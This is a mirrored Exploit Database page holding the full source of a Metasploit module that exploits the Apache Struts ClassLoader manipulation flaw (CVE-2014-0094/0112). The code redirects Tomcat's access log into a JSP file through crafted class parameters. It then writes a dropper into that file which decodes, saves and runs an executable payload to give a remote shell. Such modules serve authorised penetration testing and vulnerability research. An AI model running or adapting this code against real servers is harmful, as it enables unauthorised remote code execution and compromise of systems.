Apache Struts – ClassLoader Manipulation Remote Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2014-05-02
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33142/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
  'Description'=> %q{
  This module exploits a remote command execution vulnerability in Apache Struts
  versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
  access to 'class' parameter which is directly mapped to getClass() method and
  allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
  Java code via crafted parameters.
  },
  'Author' =>
  [
  'Mark Thomas', # Vulnerability Discovery
  'Przemyslaw Celej', # Vulnerability Discovery
  'pwntester <alvaro[at]pwntester.com>', # PoC
  'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2014-0094'],
  ['CVE', '2014-0112'],
  ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
  ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
  ],
  'Platform' => %w{ linux win },
  'Payload'=>
  {
  'Space' => 5000,
  'DisableNops' => true
  },
  'Targets'=>
  [
  ['Java',
   {
   'Arch' => ARCH_JAVA,
   'Platform' => %w{ linux win }
   },
  ],
  ['Linux',
   {
   'Arch' => ARCH_X86,
   'Platform' => 'linux'
   }
  ],
  ['Windows',
  {
  'Arch' => ARCH_X86,
  'Platform' => 'win'
  }
  ]
  ],
  'DisclosureDate' => 'Mar 06 2014',
  'DefaultTarget'=> 1))
  
  register_options(
  [
  Opt::RPORT(8080),
  OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
  ], self.class)
  end
  
  def jsp_dropper(file, exe)
  dropper = <<-eos
  <%@ page import=\"java.io.FileOutputStream\" %>
  <%@ page import=\"sun.misc.BASE64Decoder\" %>
  <%@ page import=\"java.io.File\" %>
  <% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
  <% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
  <% oFile.flush(); %>
  <% oFile.close(); %>
  <% File f = new File(\"#{file}\"); %>
  <% f.setExecutable(true); %>
  <% Runtime.getRuntime().exec(\"./#{file}\"); %>
  eos
  
  dropper
  end
  
  def dump_line(uri, cmd = "")
  res = send_request_cgi({
  'uri' => uri+cmd,
  'version' => '1.1',
  'method'=> 'GET',
  })
  
  res
  end
  
  def modify_class_loader(opts)
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path.to_s),
  'version' => '1.1',
  'method'=> 'GET',
  'vars_get' => {
  "class['classLoader'].resources.context.parent.pipeline.first.directory"=> opts[:directory],
  "class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix],
  "class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix],
  "class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
  }
  })
  
  res
  end
  
  def check_log_file(hint)
  uri = normalize_uri("/", @jsp_file)
  
  print_status("#{peer} - Waiting for the server to flush the logfile")
  
  10.times do |x|
  select(nil, nil, nil, 2)
  
  # Now make a request to trigger payload
  vprint_status("#{peer} - Countdown #{10-x}...")
  res = dump_line(uri)
  
  # Failure. The request timed out or the server went away.
  fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
  
  # Success if the server has flushed all the sent commands to the jsp file
  if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
  print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}")
  return true
  end
  end
  
  false
  end
  
  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
  output = ""
  jsp.each_line do |l|
  if l =~ /<%.*%>/
  output << l
  elsif l =~ /<%/
  next
  elsif l.chomp.empty?
  next
  else
  output << "<% #{l.chomp} %>"
  end
  end
  output
  end
  
  def create_jsp
  if target['Arch'] == ARCH_JAVA
  jsp = fix(payload.encoded)
  else
  payload_exe = generate_payload_exe
  payload_file = rand_text_alphanumeric(4 + rand(4))
  jsp = jsp_dropper(payload_file, payload_exe)
  register_files_for_cleanup(payload_file)
  end
  
  jsp
  end
  
  def exploit
  prefix_jsp = rand_text_alphanumeric(3+rand(3))
  date_format = rand_text_numeric(1+rand(4))
  @jsp_file = prefix_jsp + date_format + ".jsp"
  
  # Modify the Class Loader
  
  print_status("#{peer} - Modifying Class Loader...")
  properties = {
  :directory=> 'webapps/ROOT',
  :prefix => prefix_jsp,
  :suffix => '.jsp',
  :file_date_format => date_format
  }
  res = modify_class_loader(properties)
  unless res
  fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
  end
  
  # Check if the log file exists and hass been flushed
  
  if check_log_file(normalize_uri(target_uri.to_s))
  register_files_for_cleanup(@jsp_file)
  else
  fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
  end
  
  # Prepare the JSP
  print_status("#{peer} - Generating JSP...")
  jsp = create_jsp
  
  # Dump the JSP to the log file
  print_status("#{peer} - Dumping JSP into the logfile...")
  random_request = rand_text_alphanumeric(3 + rand(3))
  jsp.each_line do |l|
  unless dump_line(random_request, l.chomp)
  fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
  end
  end
  
  # Check log file... enjoy shell!
  check_log_file(random_request)
  
  # No matter what happened, try to 'restore' the Class Loader
  properties = {
  :directory=> '',
  :prefix => '',
  :suffix => '',
  :file_date_format => ''
  }
  modify_class_loader(properties)
  end
  
  end